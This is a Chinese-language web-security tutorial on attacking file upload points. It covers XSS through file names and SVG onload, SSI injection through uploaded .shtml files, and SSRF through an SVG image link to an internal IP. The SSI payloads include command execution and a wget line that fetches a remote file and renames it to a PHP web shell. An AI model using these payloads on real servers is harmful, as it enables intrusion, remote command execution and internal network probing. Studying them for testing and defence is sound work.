0x00 前言
在实际环境中,可能会遇到各种各样的上传点,但是服务端肯定会做各种限制导致脚本无法上传或者上传后限制了解析。那么在这种情况下如何去挖掘上传点的其他一些利用方式呢,下面看一下大佬们的其他骚操作。
0x01 XSS
关于利用文件上传的XSS,早在16年大佬就给出了多种利用方式:File Upload XSS
文件名xss
windows下文件名不能包含 / \ : * ? “ < > |
字符,而linux下是可以出现除 /
字符之外的其它所有的字符,而且在Linux系统中可以使用长文件或目录名,直接利用这个特性,在上传点没有对文件名进行检测和处理的情况下就可以实现XSS攻击。
svg文件
svg它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形,是一种图片文件格式。当服务端允许上传svg类型的文件时,可进行Xss。1
<svg xmlns="http://www.w3.org/2000/svg" onload="alert("svg-xss")/>
0x02 SSI Injection
SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。
详细参考https://www.owasp.org/index.php/Server-Side_Includes_%28SSI%29_Injection
也就说一个web服务如果开启了SSI功能,即可通过上传shtml
进行文件读取甚至命令执行。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20payload
Linux:
List files of directory:
<!--#exec cmd="ls" -->
Access directories:
<!--#exec cmd="cd /root/dir/">
Execution script:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
Windows:
List files of directory:
<!--#exec cmd="dir" -->
Access directories:
<!--#exec cmd="cd C:\admin\dir">
0X03 SSRF
参考利用SVG图片和SSRF收集服务器内部信息
该利用同样需要支持上传svg
文件,由于它是xml结构,所以支持各种xml特性,其中一个特性是XLink,支持在xml文档中创建内部或外部的超链接。
上传ssrf.xml
1
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://192.168.111.149:3000/?ssrfsvg" /></svg>